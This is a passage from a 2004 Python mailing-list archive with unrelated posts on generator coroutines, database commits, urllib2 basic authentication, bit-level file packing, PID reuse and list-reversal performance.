> The only difference is that in the second one, str(format) replaces 
> format. If args are not given and the format string contains a '%', the 
> first will work but the second will not. Why is this so? It seems to me 
> like '100%' and str('100%) are the same object, no?
> 
> Lowell


From groups.google at gnosis.cx  Sat Sep 18 14:39:28 2004
From: groups.google at gnosis.cx (David Mertz, Ph.D.)
Date: 18 Sep 2004 11:39:28 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
Message-ID: <8cf9f521.0409181039.7fb7cdd8@posting.google.com>

Let me follow up briefly on my last note.  I presented a
callstack-in-coroutines example a few moments ago.  The was something
like:

  from __future__ import generators
  cargo = None
  def grandma():
      yield (MOM, cargo)
  def mom():
      yield (DAUGHTER, cargo)
      yield (GRANDMA, cargo)
  def daughter():
      yield (MOM, cargo)
  GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter()
  scheduler(GRANDMA)

While this system indeed exhibits the desired flow:

  grandma -> mom -> daughter -> mom -> grandma -> EXIT

It is also certainly a brittle arrangement.  MOM always goes back to
GRANDMA, for example.  But in real programs, sometimes GRANDPA wants
to switch to MOM also, and still get control back afterwards (rather
than always giving it over, indirectly, to GRANDMA).

You can perfectly well add this flexibility.  It's just a matter of
yielding to "the procedure who passed me control" rather than to some
hardcoded next procedure.  Well, to know that info, you have to store
it somewhere.  Like, say, in 'cargo'.  For example:

  from __future__ import generators
  cargo = CargoClass()
  def grandma():
      cargo.MOM_CALLER.append(GRANDMA)
      yield MOM
  def grandpa():
      cargo.MOM_CALLER.append(GRANDPA)
      yield MOM
  def mom():
      yield DAUGHTER
      next_proc = cargo.MOM_CALLER.pop()
      yield next_proc
  def daughter():
      next_proc = cargo.DAUGHTER_CALLER.pop()
      yield next_proc
  GRANDMA, GRANDPA, MOM, DAUGHTER = grandma(), grandpa(), mom(),
daughter()
  if prefers_grandpa:
      scheduler(GRANDPA)
  else:
      scheduler(GRANDMA)

Since 'cargo' is now a mutable global, I don't bother passing it
around anymore.  Implementation of CargoClass() is left as an
exercise.  I'm sure you can make some convenience functions to
simplify the code, if you wish.

Yours, David...


From luke at deller.id.au  Thu Sep 30 02:36:48 2004
From: luke at deller.id.au (Luke)
Date: 29 Sep 2004 23:36:48 -0700
Subject: utf-8 in interactive python session
Message-ID: <a59726a4.0409292236.53c1f536@posting.google.com>

Python doesn't seem to read UTF-8 properly from an interactive
session.  Am I doing something wrong?

luked at sor ~ $ echo $LANG
en_AU.UTF-8
luked at sor ~ $ python
Python 2.3.4 (#1, Aug 12 2004, 17:23:54)
[GCC 3.4.1  (Gentoo Linux 3.4.1, ssp-3.4-2, pie-8.7.6.3)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> print sys.getdefaultencoding()
utf-8
>>> u'&#960;'  # embedded greek letter 'pi' (possibly mangled by
google groups news client), should return u'\u03c0'
u'\xcf\x80'
>>> u'\u03c0'.encode()
'\xcf\x80'
>>>


From alban at magproductions.nl  Mon Sep 20 08:43:38 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Mon, 20 Sep 2004 14:43:38 +0200
Subject: Psycopg and threads problem
Message-ID: <cimj9q$7jr$1@netlx020.civ.utwente.nl>

Hello,

I'm using psycopg to insert records in a number of threads. After the 
threads finish, another thread runs to collect the inserted data. Now, 
my problem is that psycopg let's my threads end before the inserts 
actually took place, resulting in my collecting thread finding no 
records... They are inserted after it checks.

Is there a way to tell psycopg or python to wait until the insert took 
place?

Alban.


From steve at holdenweb.com  Mon Sep 27 07:45:43 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 27 Sep 2004 07:45:43 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
In-Reply-To: <kdWdndU_KZvAFcrcRVn-gQ@rogers.com>
References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com>
Message-ID: <4157FD67.80404@holdenweb.com>

Dan Perl wrote:

> Yes, that's what I was talking about.  Thanks, Carlos, for explaining it.  I 
> actually should have said false detection of exceptions or wrong detection 
> of exceptions.  I don't remember what Wingware are calling it.  Actually, 
> the way they were qualifying it was something like "if you do not see this 
> exception when running the script outside the IDE, then you should probably 
> flag it to be ignored".  And they are giving a list of builtin modules where 
> those exceptions are usually "falsely" detected.
> 
As a recent convert to Wing I think you aren't giving them enough 
credit: remember, this only happens in the 2.0 BETA product (or, if it 
also happens in earlier versions, they are definitely planning to 
minimize the effects in the production version).

> I didn't try to figure out what their exception detection mechanism is and 
> why they have this problem.  I just uninstalled the IDE.  So 10 days for the 
> trial was more than enough after all. ;-)  I think I had it installed for 
> about 2 days.  I can tolerate a bug and I wouldn't be so riled up, but what 
> got me was the marketing spin and how they were just excusing the bug, like 
> they would never fix it.
> 
Well, I'm sure I remember reading somewhere that before they go into 
production they plan to add a standard list of such exceptions for the 
various Python versions, so that the standard libraries are far less 
troublesome in this respect.

Plus, IIRC, all you have to do is check an "ignore this exception" box 
to have a specific exception ignored everafter, which didn't seem like a 
huge deal to me.

> The "false exceptions" and the lack of a class browser made me decide not to 
> choose Wing IDE this time.  Their attitude about the "false exceptions" made 
> me cut the trial short and never to consider Wing IDE again.
> 
I find that it's very useful to be able to select from a dropdown list 
of defined classes, and then select from a further drop-down list of 
methods of that class. While it may not be a full class browser it's 
certainly excellent functionality.

regards
  Steve


From indigo at bitglue.com  Wed Sep 22 10:38:19 2004
From: indigo at bitglue.com (Phil Frost)
Date: Wed, 22 Sep 2004 10:38:19 -0400
Subject: Python speed-up
In-Reply-To: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
Message-ID: <20040922143819.GA23219@unununium.org>

String contatination in Python might be slower than you think it is,
because it requires building a new string, which involves a memory
allocation and copy. Suggested reading:
<http://www.skymind.com/~ocrow/python_string/>

For the seccond part, try replacing

  encoded_text = encoded_text[8:]

with

  del encoded_text[:8]

Or, use an index variable and don't mutate the list at all.

On Wed, Sep 22, 2004 at 04:06:04PM +0200, Guyon Mor?e wrote:
> Hi all,
> 
> I am working on a Huffman encoding exercise, but it is kinda slow. This is
> not a big problem, I do this to educate myself :)
> 
> So I started profiling the code and the slowdown was actually taking place
> at places where I didn't expect it.
> 
> after I have created a lookup-table-dictionary with encodings like
> {'d':'0110', 'e':'01' etc} to encode the original text like this:
> 
> for c in original_text:
>     encoded_text += table[c]
> 
> I can appreciate the length of the text is big, but this isn't a problem at
> character frequency counting for eaxample. Why is this slow?
> 
> 
> the second place the slowdown occurs is when I ty to chop the encoded string
> of 0's and 1's in pieces of eigth like this:
> 
> chr_list = [] # resulting list
> while 1:
>     chr_list.append(encoded_text[:8]) # take 8 bits from string and put them
> in the list
>     encoded_text = encoded_text[8:] # truncate the string
>     if len(encoded_text) < 8: # end of string reached
>         chr_list.append(encoded_text)
>         break
> 
> 
> I hope someone can tell me why these are slow.
> 
> 
> regards,
> 
> Guyon
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


From davecook at nowhere.net  Thu Sep  9 00:30:57 2004
From: davecook at nowhere.net (Dave Cook)
Date: Thu, 09 Sep 2004 04:30:57 GMT
Subject: Connecting to a postgresql DB?
References: <pan.2004.09.08.21.54.22.327805@augustmail.com>
Message-ID: <slrncjvnri.5oj.davecook@localhost.localdomain>

In article <pan.2004.09.08.21.54.22.327805 at augustmail.com>, Lance Hoffmeyer
wrote:

> I am trying to learn some basics of python.  One of the things
> I want to do is write a script to access a postgresql database
> DB as user USER with password PW and 
> 
> SELECT first_name, last_name, birthday FROM contacts
> 
> print to the screen and then disconnect.

This assumes you have the standard postgresql-python package.  You may also
want to try psycopg or pyPgSQL.

>>> import pgdb
>>> conn = pgdb.connect(database='DB', user='USER', password='PW')
>>> cursor = conn.cursor()
>>> cursor.execute("SELECT first_name, last_name, birthday FROM contacts")
>>> colnames = [t[0] for t in cursor.description]
>>> rows = cursor.fetchall()
>>> data = [dict(zip(colnames, row)) for row in rows]
>>> print data

Dave Cook


From ialbert at mailblocks.com  Mon Sep 20 10:59:51 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Mon, 20 Sep 2004 10:59:51 -0400
Subject: Psycopg and threads problem
In-Reply-To: <cimj9q$7jr$1@netlx020.civ.utwente.nl>
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>
Message-ID: <0fidnS729Ln4bdPcRVn-hQ@giganews.com>

Alban Hertroys wrote:

> my problem is that psycopg let's my threads end before the inserts 
> actually took place, resulting in my collecting thread finding no 

Make sure you commit the inserts. Otherwise you might
simply end up selecting on the old view.

There is a commit when you close the db connection so the data is
there when you check it later. When migrating from dbs
without transaction support this can be very confusing.

Istvan.


From programmer.py at gmail.com  Fri Sep 17 08:37:44 2004
From: programmer.py at gmail.com (Jaime Wyant)
Date: Fri, 17 Sep 2004 07:37:44 -0500
Subject: HTTP - basic authentication example.
In-Reply-To: <6f402501040917052046cb7648@mail.gmail.com>
References: <6f402501.0409150737.1bfc6958@posting.google.com>
	<d52c72d2040915092132ce7c34@mail.gmail.com>
	<6f402501040917052046cb7648@mail.gmail.com>
Message-ID: <d52c72d204091705374198e81e@mail.gmail.com>

Good stuff.  I knew if we knocked our heads together something good
would come out ;-).

jw


On Fri, 17 Sep 2004 13:20:23 +0100, Michael Foord <fuzzyman at gmail.com> wrote:
> I've added this example to the python cookbook (which basically does
> what your example does I think) -
> 
> The proper way of actually doing this is to use an
> HTTPBasicAuthHandler along with an HTTPPasswordMgr.
> The python documentation on this is actually pretty minimal - so below
> is an example showing how to do this.
> The main problem with HTTPPasswordMgr is that you must *already* know
> the realm - so we're going to use the HTTPPasswordMgrWithDefaultRealm
> instead !!
> 
> theurl = 'http://www.someserver.com/highestlevelprotectedpath/somepage.htm'
> username = 'johnny'
> password = 'XXXXXX'         # a great password
> 
> passman = urllib2.HTTPPasswordMgrWithDefaultRealm()      # this
> creates a password manager
> passman.add_password(None, theurl, username, password)      # because
> we have put None at the start it will always use this
> username/password combination
> 
> authhandler = urllib2.HTTPBasicAuthHandler(passman)                 #
> create the AuthHandler
> 
> opener = urllib2.build_opener(authhandler)
>      # build an 'opener' using the handler we've created
> # you can use the opener directly to open URLs
> # *or* you can install it as the default opener so that all calls to
> urllib2.urlopen use this opener
> urllib2.install_opener(opener)
> 
> # All calls to urllib2.urlopen will now use our handler
> 
> 
> 
> 
> On Wed, 15 Sep 2004 11:21:21 -0500, Jaime Wyant <programmer.py at gmail.com> wrote:
> > FWIW, this is how I handle Basic Authentication:
> >
> > import urllib2
> > import sys
> >
> > class AuthenticateAllURIs:
> >     """This class authenticates all Basic Authentication using uname
> > / pword."""
> >    def __init__(self,uname,pword):
> >        self.uname = uname
> >        self.pword = pword
> >
> >    def find_user_password(self, realm, host):
> >        # Note, that this class doesn't take `realm' into consideration.
> >        return self.uname, self.pword
> >
> >    def add_password( self, realm, uri, user, password ):
> >        pass
> >
> > auth = urllib2.ProxyBasicAuthHandler(AuthenticateAllURIs('umjaw', 'fuse3'))
> > opener = urllib2.build_opener( auth )
> > urllib2.install_opener( opener )
> > wp = urllib2.urlopen("http://www.slashdot.org")
> > print wp.read()
> >
> > HTH,
> > jw
> >
> > On 15 Sep 2004 08:37:12 -0700, Michael Foord <fuzzyman at gmail.com> wrote:
> > [ snip! ]
> >
> 
> --
> http://www.Voidspace.org.uk
> The Place where headspace meets cyberspace. Online resource site -
> covering science, technology, computing, cyberpunk, psychology,
> spirituality, fiction and more.
> 
> ---
> http://www.Voidspace.org.uk/atlantibots/pythonutils.html
> Python utilities, modules and apps.
> Including Nanagram, Dirwatcher and more.
> ---
> http://www.fuchsiashockz.co.uk
> http://groups.yahoo.com/group/void-shockz
> ---
> 
> Everyone has talent. What is rare is the courage to follow talent
>  to the dark place where it leads. -Erica Jong
> Ambition is a poor excuse for not having sense enough to be lazy.
>          -Milan Kundera
>


From carribeiro at gmail.com  Wed Sep 22 16:14:47 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 22 Sep 2004 17:14:47 -0300
Subject: An attempt to use a python-based mini declarative language fo r
	form definition
In-Reply-To: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar>
Message-ID: <864d370904092213145b048ce0@mail.gmail.com>

[Facundo Batista] 
> There should be some way to pass the "location". If you solve this, 
> you got your answer (of course, passing the "location" is not trivial,
>  that's why every GUI toolkit has it own approach).

That's *exaclty* the root of my problems. I don't want to specify
positioning; I only want to use *relative positioning* for everything,
working as automatically as possible. Will it work for all situations?
I'm not sure. But I think it's worth investigating.

What I intend to do is to borrow some of the layout techniques defined
by CSS+DHTML. It is *much* more complex that this, but it basically
works by formatting "block level" and "inline elements" elements
relatively to each other. You can give hints as to the relative
positioning -- absolute, relative, floating to the left, floating to
the right, and stuff like that. The layout engine positions everything
according to the constraints. If the engine doesn't support advanced
layout, it simply falls back to a simple sequence of entries according
to the original text flow.

There are two reasons behnd my choice:

-- there is a lot of knowledge today about how to make good interfaces
using CSS. It's faster to develop and is more flexible regarding
different engines and platforms than to rely on absolute positioning
(as conventional GUI builders do)

-- it makes *much* easier to use the same form definition on native
GUIs and web-based ones. My goal is to be able to build a wxPython
dialog or a web form from the same description.

That's why I can't give positioning hints, at least for now. But I
could include relative ordering information; for example, an arbitrary
tag number. But doing this I would defeat my objective of clarity of
design.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From bokr at oz.net  Fri Sep 10 19:45:54 2004
From: bokr at oz.net (Bengt Richter)
Date: 10 Sep 2004 23:45:54 GMT
Subject: python and bit shifts and byte order, oh my!
References: <9490d.126$KA1.1800@news1.mts.net>	<chrogi$gmk$1@news1.wdf.sap-ag.de>
	<sWk0d.3$Uo1.23@news1.mts.net>	<4141e6f2$0$67058$a1866201@newsreader.visi.com>	<P0n0d.62$Uo1.261@news1.mts.net>
	<mailman.3169.1094844046.5135.python-list@python.org>
	<txn0d.67$Uo1.323@news1.mts.net>
	<cht24b$6m1$1@news.service.uci.edu>
	<nso0d.77$Uo1.255@news1.mts.net>
Message-ID: <chtebi$goo$0$216.39.172.122@theriver.com>

On Fri, 10 Sep 2004 15:51:33 -0500, Reid Nichol <rnichol_rrc at yahoo.com> wrote:

>Jason Lai wrote:
>> If efficiency isn't important, you could forget about the whole 
>> byte-order thing and just read/write it byte-by-byte. Then you can think 
>> of the file as a bit-stream (everything gets written in order and read 
>> back in order), although you still have to read/write a whole 8-bit byte 
>> at a time.
>> 
>>  - Jason Lai
>
>Since the format can have:
>5bit
>24bit
>24bit
>
>I assumed that I would have to write byte by byte.  And I don't really 
>consider speed important so I think that it's viable to do it this way.
>
>@Grant
>This is what I meant.

I would suggest you define a class (e.g., subclass the builtin file type)
that serves as a convenient (for you) bit-wise interface to a binary file
(binary is important on windows, or you will EOL conversions when you write).
E.g., so you will be able to write code like:

    bf = BitFile('data/bitfile.dat', 'wb')
    bf.write(0xfa, 5)
    bf.write(whatever, 24)
    bf.close()

The class will have to take care of buffering and packing and unpacking and endianness
and how to deal with a file that is not an integral number times 8 bits total (if you
are defining the format, you could always append an extra byte on close that says how many bits
there are in the last (preceding) data byte, so you could read back exactly the bits specified).

You could also give the class properties for common bit field widths, so that the
effect of e.g., the above writes would look like

    bf.b5 = 0xfa
    bf.b24 = whatever

would be to write (actually buffer, since you have to do that for fractional bytes
anyway, and will gain in i/o performance for larger chunks) five bits. On the read
side, you might want to distinguish between signed and unsigned bitfields, e.g.,

    signed = bf.s5   # read next 5 bits as signed integer
    unsigned = bf.u5 # ditto, except unsigned

Of course, packing bits together from a sequence of numbers into a string of bytes has
nothing necessarily to do with file i/o, so you might want to factor that out. E.g.,
you could take inspiration from struct to create something that works by bit fields, e.g.,
say '.n' means pack n bits adjacent to previously buffered bits. Say ',n' means skip n
bits as if you were reading or writing (introducing default 0 if not re-writing), and then
use the struct type letters for alignment skips, e.g., 'h' to skip to end of current short,
or 'l' to skip to end of current long. Then

    pack('<.3,2.7h.24l', x, y, z)

could be a little-endian packing of size(short)+size(long) bits, with two fields
x and y of 3 and 7 bits respectively, separated by a 2-bit space, packed into a short,
followed z packed into the bottom of a long, for six bytes total.

Probably pack should be a class so that you get back an object that has both data bytes
and total bit length and methods for convenient concatenation, so

    pack('.3', 10) + pack('.4', 15) == pack('.3.4', 10, 15)

Sorry I don't have time to implement this now (actually, I have a strictly-little-endian
hack that I used for some music compression experiments a while back, maybe I can find
it later). API preferences could probably stand a little discussion anyway ;-)

Regards,
Bengt Richter


From jmfbahciv at aol.com  Fri Sep  3 06:51:21 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Fri, 03 Sep 04 10:51:21 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no> <41376DCA.B833324A@yahoo.com>
Message-ID: <41385f7f$0$19713$61fed72c@news.rcn.com>

In article <41376DCA.B833324A at yahoo.com>,
   CBFalconer <cbfalconer at yahoo.com> wrote:
>John Thingstad wrote:
>> 
>.... snip ...
>> 
>> These peaple had more than a 100 years of experience in
>> developing muliuser / mutitasking operating systems between
>> them. The fact that the NT kernel is not entirely stable yet
>> really shouldn't supprise anyone. Afterall Unix has messed
>> with it's kernel for 30 years. But the modular arcitecture
>> and the microkernel are new ideas in OS design and should in
>> time lead to a more extensible OS than unix.
>
>The original NT (3.0) was well designed, but slow on the hardware
>of the time.  Then MS got to work increasing module connectivity
>and reducing reliability. 

V3?  I thought V4 was their last good one before they started to
put apps into execmode. 


<snip>

/BAH

Subtract a hundred and four for e-mail.


From adalke at mindspring.com  Thu Sep 30 03:00:47 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 30 Sep 2004 07:00:47 GMT
Subject: multiple instance on Unix
In-Reply-To: <du7zn38qojj.fsf@amadeus.cc.tut.fi>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<mailman.4104.1096493884.5135.python-list@python.org>
	<x7d604xxv3.fsf@guru.mired.org> <fngs22-orb.ln1@lairds.us>
	<du7zn38qojj.fsf@amadeus.cc.tut.fi>
Message-ID: <zaO6d.13713$gG4.4042@newsread1.news.pas.earthlink.net>

Ville Vainio wrote:
> I'd go for pid file - in Unix at least, process id's are not reused so
> if no process for the pid in pidfile exists, the process has died.

They aren't?  I remember seeing them cycle before.
Granted, pids are now, what 32 bit numbers so it's rare,
but there's nothing in the Unix specs to say they
cannot.

I pulled out my Minix book (much easier to root through,
err, read through than the Linux one, plus I'll need to
boot that machine :)

p. 548, mm/forkexit.c, lines 5739-5749

do {
       t = 0;            /* 't' = 0 means pid still free */
       next_pid = (next_pid < 30000 ? next_pid + 1 : INIT_PROC_NR + 1);
       for (rmp = &mproc[0]; rmp < &mproc[NR_PROCS]; rmp++)
               if (rmp->mp_pid == next_pid) {
                       t = 1;
                       break;
               }
       rmc->mp_pid = next_pid;  /* assign pid to child */
} while (t);

In other words Minix, a Unix (like) OS, cycled pids,
with maxpid == 29999.

Ah-ha, here's experimental proof.  I can log into a
machine named 'xebte' (I have "alias xebte ssh xebte.[...]")
Elipsis used to obscure the hostname

% xebte uname -a
FreeBSD xebte[...] 4.8-STABLE FreeBSD 4.8-STABLE [...]
% xebte uptime
  2:44AM  up 90 days,  4:20, 2 users, load averages: 0.98, 0.98, 1.07
% xebte ps aux
USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
dalke   442  0.0  0.3  4908 1328  ??  S     2:44AM   0:00.00 sshd: 
dalke at notty
dalke   447  0.0  0.1  1124  564  ??  Ss    2:44AM   0:00.01 csh -c ps aux
dalke   448  0.0  0.0   392  212  ??  RN    2:44AM   0:00.00 ps aux

   (waited a few minutes)

% xebte ps aux
USER    PID %CPU %MEM   VSZ  RSS  TT  STAT STARTED      TIME COMMAND
dalke  5798  0.0  0.3  4908 1344  ??  S     2:48AM   0:00.00 sshd: 
dalke at notty
dalke  5805  0.0  0.1  1124  712  ??  Ss    2:48AM   0:00.01 csh -c ps aux
dalke  5806  0.0  0.0   392  212  ??  RN    2:48AM   0:00.00 ps aux

It made >4000 processes in a few minutes so it must
have cycled so as to have a pid == 442 after 90 days of uptime.

I was also pretty lucky to get a small pid that was
perfect for this counter-example.  Even at 1,500 processes
a minute it should take 32 months to cycle signed int.
Either FreeBSD uses a smaller range than that or things
get a lot busier during the day on that machine.


				Andrew
				dalke at dalkescientific.com


From carribeiro at gmail.com  Tue Sep 21 07:10:13 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 21 Sep 2004 08:10:13 -0300
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
In-Reply-To: <cc887c1d.0409202221.214a46b5@posting.google.com>
References: <a5415304.0409160644.41adea51@posting.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
	<cc887c1d.0409162041.1433bac1@posting.google.com>
	<pan.2004.09.18.07.53.35.276252@virgilio.it>
	<1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com>
	<slrnckoabl.mb3.mlh@furu.idi.ntnu.no>
	<864d37090409180613135d02de@mail.gmail.com>
	<20040920231839.GA17517@grulic.org.ar>
	<mailman.3618.1095731982.5135.python-list@python.org>
	<cc887c1d.0409202221.214a46b5@posting.google.com>
Message-ID: <864d37090409210410cd2770c@mail.gmail.com>

On 20 Sep 2004 23:21:03 -0700, Chris Barker <barkmann at gmail.com> wrote:
> Carlos Ribeiro <carribeiro at gmail.com> wrote in message
> 
> > in this scenario the hassle of running
> > Apache+Zope/Webware is just not worth it.
> 
> For what it's worth, there is a built-in server for Webware as well:

I've tried it too. It's heavier and less responsive than CherryPy's
one (at least in my machine, which is memory-and-GHz-impaired), and
less convenient. CherryPy is automatic in this regard.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From xslom03 at vse.cz  Sat Sep 25 16:23:35 2004
From: xslom03 at vse.cz (Martin Slouf)
Date: Sat, 25 Sep 2004 22:23:35 +0200
Subject: Access to MS SQL from Linux?
In-Reply-To: <redirect-14028450@vse.cz>
References: <redirect-14028450@vse.cz>
Message-ID: <20040925202335.GA3994@barbucha.martin.net>

for a simple access you may try jython and java driver. it worked fine for me,
though it was a bit slow.  installation is trivial of course. just download the
jar from M$.

m.

On Thu, Sep 23, 2004 at 10:10:01AM +0200, Joe Wong wrote:
> Hi,
> 
>  Is there any Python library for accessing MS SQL server from a Linux machine? Either open source or commerical one will do for me.
> 
> Regards,
> 
> - Joe
> 
> 
> 
> ---
> Outgoing mail is certified Virus Free.
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22


From aleaxit at yahoo.com  Mon Sep 20 10:52:14 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 16:52:14 +0200
Subject: Using isA and getA in a python way
References: <cimijh$p7l$1@ucsnew1.ncl.ac.uk>
	<mailman.3559.1095684697.5135.python-list@python.org>
Message-ID: <1gkf7jh.175e33cvnpdt1N%aleaxit@yahoo.com>

Fredrik Lundh <fredrik at pythonware.com> wrote:

> "C Gillespie" wrote:
> 
> > I have long list of if statements in the form of:
> >
> > if obj.isA(): return obj.getA()
> > if obj.isB(): return obj.getB()
> > if obj.isC(): return obj.getC()
> > if obj.isD(): return obj.getD()
> > <snip>
> >
> > Is there a nicer way of doing this, perhap going through the list
> > ['A','B','C',..
> 
> well, the python way is to do:
> 
>     return obj.get()

Wonderful (as all all of the other suggestions), _if_ being an A, a B,
etc, are mutually exclusive conditions.  However, they might not be --
the OP didn't really explain his use case.  It may be that obj has the
potential to display zero or more of these characteristics at any time,
and different calling sites have different orders of priority as to
which condition they want to test first.

For example, a bar in Italy is allowed to be a milkbar (selling fresh
milk), a coffeebar (selling espresso) AND a liquorbar (selling spirits)
at the same time, but not all bars are all of these kinds.  So, I can
see myself coding, in one spot,

if bar.isMilkBar(): return bar.getMilk()
if bar.isCoffeeBar(): return bar.getCoffee('black')

but reversing these checks in other calling sites (here I've also hinted
at the possibility that the different getX methods may admit of
different signatures, which of course is a different issue).  These
naming conventions aren't the exact ones the OP specified, so let's
assume he wants to call 'isMilk' rather than 'isMilkBar' &c (weird
naming, admittedly...:-).

For this purpose, it IS indeed possible to code up 'a nicer way to do
it' as the OP asks -- either as a method of the object (possibly in a
mixin class), or as an auxiliary function, it doesn't matter all that
much in a practical sense.  /F of course knows that, but, for the OP
benefit, it could go something like...:

def preferences(obj, pref_sequence, **args_by_pref):
    for pref in pref_sequence:
        is_meth = getattr(obj, 'is'+pref, None)
        if is_meth is None: continue
        get_meth = getattr(obj, 'get'+pref, None)
        if get_meth is None: continue
        if is_meth(): return get_meth(*args_by_pref.get(pref,()))
    raise ValueError, "%r isn't any of %r" % (obj, pref_sequence)

The args_by_pref tweak is totally optional, of course, it's just what
I'd use to be able to code something like:

return preferences(bar, ('Milk', 'Coffee'), Coffee=('black',))

Also, the details of error checking &c will have to be tweaked to the
OP's content (not having the appropriate is or get method might be
considered an error, for example -- only the OP knows!).


Alex


From aleaxit at yahoo.com  Mon Sep 27 17:02:55 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 27 Sep 2004 23:02:55 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
	<cj9up4$g88$0$216.39.172.122@theriver.com>
Message-ID: <1gksnru.19db21t1iappzfN%aleaxit@yahoo.com>

Bengt Richter <bokr at oz.net> wrote:
   ...
> If there were a way to make a local bare name access work like a property
> or other descriptor, by designating such names suitably, then def f...
> could trigger the setter of an f property and that could do whatever.
> 
> It might be interesting for a function closure variables also, but here
> we are talking about class bodies. Here is a straw man:

In the current implementation, class bodies are made into functions and
run once.  If you could use anything but a plain dict as the f_locals of
the frame, you could implement your proposed syntax and anything else
you could dream of.  But look at ceval.c and tell me how you'd tell the
functions therein to use a certain special factory for a frame's
f_locals without rewriting hundreds of lines of pretty complicated code.

If the implementation is hard to explain, it's a bad idea.  So let's
find a simple-to-explain implementation; if we can't, it's a bad idea.

> Optimization is for later ;-)

So is syntax.  Let's focus first on how to implement 'smart frames' that
can either use dict (and be fast) or a generic mapping-factory depending
e.g. on a bit in the per-thread state -- for now we can set that bit
with some sys.whatever call, who cares, once the implementation is good
then we can start to wrestle about syntax-sugar issues for it...


Alex


From aleaxit at yahoo.com  Mon Sep  6 04:15:26 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 10:15:26 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<mailman.2905.1094405220.5135.python-list@python.org>
	<chh38l$4eq$06$1@news.t-online.com>
Message-ID: <1gjosf3.197sp3q1798zhhN%aleaxit@yahoo.com>

Peter Otten <__peter__ at web.de> wrote:

> Alex Martelli wrote:
> 
> > $ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))'
> > 10000 loops, best of 3: 99 usec per loop
> > 
> > $ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]'
> > 1000 loops, best of 3: 706 usec per loop
> > 
> > Dunno 'bout you guys, but I can't really afford to throw away a factor
> > of SEVEN in a perfectly ordinary task in such a fashion...
> 
> For the sake of completeness, bypassing reversed() gains you another factor
> of two and might be worthwile, too, if you need the resulting list. 

Very good point!

> 
> $ python2.4 timeit.py -s"r = range(1000)" "[i for i in reversed(r)]"
> 10000 loops, best of 3: 148 usec per loop
> $ python2.4 timeit.py -s"r = range(1000)" "list(reversed(r))"
> 100000 loops, best of 3: 19.5 usec per loop
> $ python2.4 timeit.py -s"r = range(1000)" "r[::-1]"
> 100000 loops, best of 3: 9.17 usec per loop

I didn't expect that big a gain for [::-1] but that just goes to show:
